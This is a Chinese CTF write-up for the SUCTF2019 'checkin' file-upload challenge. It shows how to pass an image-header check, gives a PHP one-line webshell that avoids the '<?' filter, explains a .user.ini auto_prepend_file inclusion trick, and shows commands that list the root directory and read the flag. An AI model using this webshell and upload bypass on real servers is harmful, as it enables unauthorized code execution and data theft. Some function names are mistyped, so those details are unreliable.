0%

SUCTF2019-checkin

是文件上传,这种我做过很多了,大部分常见的我基本上都做过,但是这题让我有了新的认识

先开始弄吧,很简单的,主要就是.user.ini这个配置文件的知识点
这题我先乱传东西,发现大部分都被过滤了alt text
有个东西说我这个不是images文件,去查了一下那个给我报错的函数
exif_imagetype()函数:只检查文件头是不是图片类的,那这很简单了,我直接构造带着jpg文件头的图片码,传上去,发现被过滤了,提示说<?也被过滤了,没事,我的祖传payload很多,用另外一句

1
<script language="php">@eval_r($_POST[sb])</script>

绕过<?限制的一句话;传上去之后发现传参无法执行接下来传个phpinfo上去,发现没有变成那个页面,应该是php机制被ban了,这里不能执行php语句
接下来就涉及到新的知识点.user.ini文件的配置(注意要与传上去的文件名一致)
alt text
先传.user.ini然后再传一句话木马,很简单的baby,最后要么蚁剑连接要么就命令执行rce
蚁剑连接我就不必多言,主要还是rce,因为不知道为什么,我常规的system(‘ls’)这种在此处不起任何作用,来看看wp中的rce是怎么做的

1
2
ploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php?cmd=var_dump(scandir("/")); // 扫描当前目录下的文件,并打印出来
uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php?cmd=var_dump(file_get_contents("/flag"));//得到flag

这个时候就要去拷打AI了alt text
原来var_dump()这么好用啊,我哩个大豆,那我可得要好好用这个了
还有一条是用var_dump()和searchdir(‘')来代替ls
太权威了,file_get_content()
alt text
alt text
举个例子理解user.ini作用:
/这是.user.ini的两个配置
auto_prepend_file是在文件前插入
auto_append_file是在文件最后才插入
/
1.在user.ini 中设置
auto_prepend_file=b.gif
2.在b.gif中设置 一句话木马
3.还有个php文件 如:前面做题中的index.php
如果这三个条件在同一个目录下面,就会出先问题,这里就相当于 在index.php中写了include “b.gif” , 可以进行文件包含,导致的后果是:当我们对目录中的index.php进行访问的时候,会调用.usre.ini 中的文件把b.gif文件以php的形式进行读取,造成userini的漏洞
局限
在.user.ini中使用这条配置也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件,通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。
但是有时可以使用 ../ 来将文件上传到其他目录,达到一个利用的效果。